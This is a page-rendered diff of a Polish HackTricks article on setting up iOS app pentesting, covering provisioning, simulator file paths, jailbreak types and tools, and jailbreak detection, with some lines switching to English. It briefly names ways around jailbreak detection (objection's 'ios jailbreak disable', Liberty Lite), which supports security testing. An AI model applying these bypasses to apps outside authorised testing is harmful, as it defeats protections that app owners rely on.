||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -4,12 +4,12 @@
|
||||
|
||||
## Apple Developer Program
|
||||
|
||||
**Tożsamość provisioningowa** to zbiór kluczy publicznych i prywatnych, które są powiązane z kontem dewelopera Apple. Aby **podpisać aplikacje**, musisz zapłacić **99$/rok** za rejestrację w **Apple Developer Program**, aby uzyskać swoją tożsamość provisioningową. Bez tego nie będziesz mógł uruchomić aplikacji z kodu źródłowego na fizycznym urządzeniu. Inną opcją jest użycie **urządzenia z jailbreakiem**.
|
||||
**Tożsamość provisioningowa** to zbiór kluczy publicznych i prywatnych, które są powiązane z kontem dewelopera Apple. Aby **podpisać aplikacje**, musisz zapłacić **99$/rok**, aby zarejestrować się w **Apple Developer Program** i uzyskać swoją tożsamość provisioningową. Bez tego nie będziesz mógł uruchomić aplikacji z kodu źródłowego na fizycznym urządzeniu. Inną opcją jest użycie **urządzenia z jailbreakiem**.
|
||||
|
||||
Od Xcode 7.2 Apple wprowadziło opcję stworzenia **darmowego profilu provisioningowego do rozwoju iOS**, który pozwala na pisanie i testowanie aplikacji na prawdziwym iPhonie. Przejdź do _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Dodaj nowe Apple ID z twoimi danymi) --> _Kliknij na utworzone Apple ID_ --> _Zarządzaj certyfikatami_ --> _+_ (Apple Development) --> _Gotowe_\
|
||||
Począwszy od Xcode 7.2, Apple udostępniło opcję stworzenia **darmowego profilu provisioningowego do rozwoju iOS**, który pozwala na pisanie i testowanie aplikacji na prawdziwym iPhonie. Przejdź do _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Dodaj nowe Apple ID ze swoimi danymi) --> _Kliknij na utworzone Apple ID_ --> _Zarządzaj certyfikatami_ --> _+_ (Apple Development) --> _Gotowe_\
|
||||
\_\_Następnie, aby uruchomić aplikację na swoim iPhonie, musisz najpierw **wskazać iPhone'owi, aby zaufał komputerowi.** Potem możesz spróbować **uruchomić aplikację na urządzeniu mobilnym z Xcode,** ale pojawi się błąd. Przejdź do _Ustawienia_ --> _Ogólne_ --> _Profile i zarządzanie urządzeniami_ --> Wybierz nieufny profil i kliknij "**Zaufaj**".
|
||||
|
||||
Zauważ, że **aplikacje podpisane tym samym certyfikatem podpisującym mogą dzielić zasoby w bezpieczny sposób, takie jak elementy keychain**.
|
||||
Zauważ, że **aplikacje podpisane tym samym certyfikatem podpisu mogą dzielić zasoby w bezpieczny sposób, takie jak elementy keychain**.
|
||||
|
||||
Profile provisioningowe są przechowywane w telefonie w **`/Library/MobileDevice/ProvisioningProfiles`**
|
||||
|
||||
@ -23,7 +23,7 @@ Profile provisioningowe są przechowywane w telefonie w **`/Library/MobileDevice
|
||||
Pierwszą rzeczą, którą musisz wiedzieć, jest to, że **przeprowadzanie pentestu w symulatorze będzie znacznie bardziej ograniczone niż robienie tego na urządzeniu z jailbreakiem**.
|
||||
|
||||
Wszystkie narzędzia potrzebne do budowy i wsparcia aplikacji iOS są **oficjalnie wspierane tylko na Mac OS**.\
|
||||
De facto narzędziem Apple do tworzenia/debugowania/instrumentowania aplikacji iOS jest **Xcode**. Może być używane do pobierania innych komponentów, takich jak **symulatory** i różne **wersje SDK** wymagane do budowy i **testowania** twojej aplikacji.\
|
||||
De facto narzędziem Apple do tworzenia/debugowania/instrumentowania aplikacji iOS jest **Xcode**. Może być używane do pobierania innych komponentów, takich jak **symulatory** i różne **wersje SDK**, które są wymagane do budowy i **testowania** aplikacji.\
|
||||
Zaleca się **pobranie** Xcode z **oficjalnego sklepu z aplikacjami**. Inne wersje mogą zawierać złośliwe oprogramowanie.
|
||||
|
||||
Pliki symulatora można znaleźć w `/Users/<username>/Library/Developer/CoreSimulator/Devices`
|
||||
@ -37,54 +37,58 @@ Aby otworzyć symulator, uruchom Xcode, a następnie kliknij w _zakładkę Xcode
|
||||
|
||||
### Aplikacje w Symulatorze
|
||||
|
||||
W `/Users/<username>/Library/Developer/CoreSimulator/Devices` możesz znaleźć wszystkie **zainstalowane symulatory**. Jeśli chcesz uzyskać dostęp do plików aplikacji utworzonej w jednym z emulatorów, może być trudno wiedzieć, **na którym z nich aplikacja jest zainstalowana**. Szybkim sposobem na **znalezienie poprawnego UID** jest uruchomienie aplikacji w symulatorze i wykonanie:
|
||||
W folderze `/Users/<username>/Library/Developer/CoreSimulator/Devices` możesz znaleźć wszystkie **zainstalowane symulatory**. Jeśli chcesz uzyskać dostęp do plików aplikacji utworzonej w jednym z emulatorów, może być trudno wiedzieć, **na którym z nich aplikacja jest zainstalowana**. Szybkim sposobem na **znalezienie poprawnego UID** jest uruchomienie aplikacji w symulatorze i wykonanie:
|
||||
```bash
|
||||
xcrun simctl list | grep Booted
|
||||
iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
|
||||
```
|
||||
Gdy znasz UID, aplikacje zainstalowane w jego obrębie można znaleźć w `/Users/<username>/Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application`
|
||||
Once you know the UID the apps installed within it can be found in `/Users/<username>/Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application`
|
||||
|
||||
Jednak, co zaskakujące, nie znajdziesz aplikacji tutaj. Musisz uzyskać dostęp do `/Users/<username>/Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/`
|
||||
Jednak, zaskakująco, nie znajdziesz aplikacji tutaj. Musisz uzyskać dostęp do `/Users/<username>/Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/`
|
||||
|
||||
A w tym folderze możesz **znaleźć pakiet aplikacji.**
|
||||
|
||||
## Emulator
|
||||
|
||||
Corellium to jedyny publicznie dostępny emulator iOS. Jest to rozwiązanie SaaS dla przedsiębiorstw z modelem licencji na użytkownika i nie oferuje żadnej licencji próbnej.
|
||||
Corellium jest jedynym publicznie dostępnym emulatorem iOS. Jest to rozwiązanie SaaS dla przedsiębiorstw z modelem licencji na użytkownika i nie oferuje żadnej licencji próbnej.
|
||||
|
||||
## Nie potrzebujesz jailbreaka
|
||||
## No Jailbreak needed
|
||||
|
||||
Sprawdź ten post na blogu na temat testowania aplikacji iOS na **urządzeniu bez jailbreaka**: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
|
||||
Sprawdź ten post na blogu o tym, jak przeprowadzić pentesting aplikacji iOS na **urządzeniu bez jailbreaka**:
|
||||
|
||||
{{#ref}}
|
||||
ios-pentesting-without-jailbreak.md
|
||||
{{#endref}}
|
||||
|
||||
## Jailbreaking
|
||||
|
||||
Apple ściśle wymaga, aby kod działający na iPhonie był **podpisany certyfikatem wydanym przez Apple**. **Jailbreaking** to proces aktywnego **omijania takich ograniczeń** i innych zabezpieczeń wprowadzonych przez system operacyjny. Dlatego, gdy urządzenie jest jailbreakowane, **sprawdzenie integralności**, które odpowiada za kontrolowanie instalacji aplikacji, jest poprawiane, więc jest **omijane**.
|
||||
Apple ściśle wymaga, aby kod działający na iPhonie był **podpisany certyfikatem wydanym przez Apple**. **Jailbreaking** to proces aktywnego **obejścia takich ograniczeń** i innych zabezpieczeń wprowadzonych przez system operacyjny. Dlatego, gdy urządzenie jest jailbreakowane, **sprawdzenie integralności**, które odpowiada za kontrolowanie instalacji aplikacji, jest łatane, więc jest **obejście**.
|
||||
|
||||
> [!NOTE]
|
||||
> W przeciwieństwie do Androida, **nie możesz przełączyć się na "Tryb dewelopera"** w iOS, aby uruchomić niesigned/niezaufany kod na urządzeniu.
|
||||
> W przeciwieństwie do Androida, **nie możesz przełączyć się na "Tryb dewelopera"** w iOS, aby uruchomić niesigned/niewiarygodny kod na urządzeniu.
|
||||
|
||||
### Rooting Androida vs. Jailbreaking iOS
|
||||
### Android Rooting vs. iOS Jailbreaking
|
||||
|
||||
Chociaż często porównywane, **rooting** na Androidzie i **jailbreaking** na iOS to zasadniczo różne procesy. Rootowanie urządzeń z Androidem może obejmować **instalację binarnego pliku `su`** lub **wymianę systemu na dostosowane ROM-y z rootem**, co niekoniecznie wymaga exploitów, jeśli bootloader jest odblokowany. **Flashing custom ROMs** zastępuje system operacyjny urządzenia po odblokowaniu bootloadera, czasami wymagając exploita.
|
||||
Chociaż często porównywane, **rooting** na Androidzie i **jailbreaking** na iOS to zasadniczo różne procesy. Rootowanie urządzeń z Androidem może obejmować **instalację binarnego pliku `su`** lub **wymianę systemu na zrootowany niestandardowy ROM**, co niekoniecznie wymaga exploitów, jeśli bootloader jest odblokowany. **Flashing custom ROMs** zastępuje system operacyjny urządzenia po odblokowaniu bootloadera, czasami wymagając exploita.
|
||||
|
||||
W przeciwieństwie do tego, urządzenia iOS nie mogą flashować dostosowanych ROM-ów z powodu ograniczenia bootloadera do uruchamiania tylko obrazów podpisanych przez Apple. **Jailbreaking iOS** ma na celu ominięcie zabezpieczeń podpisywania kodu Apple, aby uruchomić niesigned kod, proces skomplikowany przez ciągłe ulepszenia zabezpieczeń Apple.
|
||||
W przeciwieństwie do tego, urządzenia iOS nie mogą flashować niestandardowych ROM-ów z powodu ograniczenia bootloadera do uruchamiania tylko obrazów podpisanych przez Apple. **Jailbreaking iOS** ma na celu obejście zabezpieczeń podpisywania kodu Apple, aby uruchomić niesigned kod, proces skomplikowany przez ciągłe ulepszenia zabezpieczeń Apple.
|
||||
|
||||
### Wyzwania związane z Jailbreakingiem
|
||||
### Jailbreaking Challenges
|
||||
|
||||
Jailbreaking iOS staje się coraz trudniejszy, ponieważ Apple szybko łata luki. **Downgrade iOS** jest możliwy tylko przez ograniczony czas po wydaniu, co sprawia, że jailbreak jest kwestią czasową. Urządzenia używane do testów bezpieczeństwa nie powinny być aktualizowane, chyba że ponowny jailbreak jest gwarantowany.
|
||||
Jailbreaking iOS staje się coraz trudniejszy, ponieważ Apple szybko łata luki. **Downgrade iOS** jest możliwy tylko przez ograniczony czas po wydaniu, co sprawia, że jailbreak jest kwestią czasową. Urządzenia używane do testów bezpieczeństwa nie powinny być aktualizowane, chyba że ponowne jailbreakowanie jest gwarantowane.
|
||||
|
||||
Aktualizacje iOS są kontrolowane przez **mechanizm wyzwań i odpowiedzi** (SHSH blobs), pozwalający na instalację tylko dla odpowiedzi podpisanych przez Apple. Ten mechanizm, znany jako "okno podpisywania", ogranicza możliwość przechowywania i późniejszego używania pakietów firmware OTA. Strona [IPSW Downloads](https://ipsw.me) jest zasobem do sprawdzania aktualnych okien podpisywania.
|
||||
|
||||
### Rodzaje Jailbreaków
|
||||
### Jailbreak Varieties
|
||||
|
||||
- **Jailbreak tethered** wymaga połączenia z komputerem przy każdym ponownym uruchomieniu.
|
||||
- **Jailbreak semi-tethered** pozwala na uruchomienie w trybie bez jailbreaka bez komputera.
|
||||
- **Jailbreak semi-untethered** wymaga ręcznego ponownego jailbreaka bez potrzeby korzystania z komputera.
|
||||
- **Jailbreak untethered** oferuje trwałe rozwiązanie jailbreakowe bez potrzeby ponownej aplikacji.
|
||||
- **Tethered jailbreaks** wymagają połączenia z komputerem przy każdym ponownym uruchomieniu.
|
||||
- **Semi-tethered jailbreaks** pozwalają na uruchomienie w trybie bez jailbreaka bez komputera.
|
||||
- **Semi-untethered jailbreaks** wymagają ręcznego ponownego jailbreakowania bez potrzeby korzystania z komputera.
|
||||
- **Untethered jailbreaks** oferują trwałe rozwiązanie jailbreak bez potrzeby ponownej aplikacji.
|
||||
|
||||
### Narzędzia i zasoby do Jailbreakingu
|
||||
### Jailbreaking Tools and Resources
|
||||
|
||||
Narzędzia do jailbreakingu różnią się w zależności od wersji iOS i urządzenia. Zasoby takie jak [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com) i [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) dostarczają aktualnych informacji. Przykłady to:
|
||||
Narzędzia do jailbreakowania różnią się w zależności od wersji iOS i urządzenia. Zasoby takie jak [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com) i [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) dostarczają aktualnych informacji. Przykłady obejmują:
|
||||
|
||||
- [Checkra1n](https://checkra.in/) dla urządzeń z chipami A7-A11.
|
||||
- [Palera1n](https://palera.in/) dla urządzeń Checkm8 (A8-A11) na iOS 15.0-16.5.
|
||||
@ -92,21 +96,21 @@ Narzędzia do jailbreakingu różnią się w zależności od wersji iOS i urząd
|
||||
|
||||
Modyfikowanie urządzenia wiąże się z ryzykiem, a jailbreak powinien być traktowany z ostrożnością.
|
||||
|
||||
### Korzyści i ryzyka związane z Jailbreakingiem
|
||||
### Jailbreaking Benefits and Risks
|
||||
|
||||
Jailbreaking **usuwa piaskownicę narzuconą przez system operacyjny**, umożliwiając aplikacjom dostęp do całego systemu plików. Ta swoboda pozwala na instalację niezatwierdzonych aplikacji i dostęp do większej liczby interfejsów API. Jednak dla zwykłych użytkowników, jailbreak **nie jest zalecany** z powodu potencjalnych zagrożeń bezpieczeństwa i niestabilności urządzenia.
|
||||
Jailbreaking **usuwa piaskownicę narzuconą przez system operacyjny**, umożliwiając aplikacjom dostęp do całego systemu plików. Ta swoboda umożliwia instalację niezatwierdzonych aplikacji i dostęp do większej liczby interfejsów API. Jednak dla zwykłych użytkowników jailbreak **nie jest zalecany** z powodu potencjalnych zagrożeń bezpieczeństwa i niestabilności urządzenia.
|
||||
|
||||
### **Po Jailbreaku**
|
||||
### **After Jailbreaking**
|
||||
|
||||
{{#ref}}
|
||||
basic-ios-testing-operations.md
|
||||
{{#endref}}
|
||||
|
||||
### **Wykrywanie Jailbreaka**
|
||||
### **Jailbreak Detection**
|
||||
|
||||
**Kilka aplikacji spróbuje wykryć, czy urządzenie mobilne jest jailbreakowane, a w takim przypadku aplikacja nie będzie działać**
|
||||
|
||||
- Po jailbreaku w iOS **pliki i foldery są zazwyczaj instalowane**, które można przeszukać, aby ustalić, czy urządzenie jest jailbreakowane.
|
||||
- Po jailbreakowaniu iOS **pliki i foldery są zazwyczaj instalowane**, które można przeszukać, aby ustalić, czy urządzenie jest jailbreakowane.
|
||||
- W urządzeniu z jailbreakiem aplikacje uzyskują **dostęp do odczytu/zapisu do nowych plików** poza piaskownicą.
|
||||
- Niektóre **wywołania API** **będą **zachowywać się inaczej**.
|
||||
- Obecność usługi **OpenSSH**.
|
||||
@ -116,12 +120,12 @@ basic-ios-testing-operations.md
|
||||
|
||||
Możesz spróbować uniknąć tych wykryć, używając **objection's** `ios jailbreak disable`
|
||||
|
||||
## **Obejście wykrywania jailbreaka**
|
||||
## **Jailbreak Detection Bypass**
|
||||
|
||||
- Możesz spróbować uniknąć tych wykryć, używając **objection's** `ios jailbreak disable`
|
||||
- Możesz również zainstalować narzędzie **Liberty Lite** (https://ryleyangus.com/repo/). Po dodaniu repo, aplikacja powinna pojawić się w zakładce 'Szukaj'
|
||||
- Możesz również zainstalować narzędzie **Liberty Lite** (https://ryleyangus.com/repo/). Po dodaniu repo, aplikacja powinna pojawić się w zakładce 'Search'
|
||||
|
||||
## Referencje
|
||||
## References
|
||||
|
||||
- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user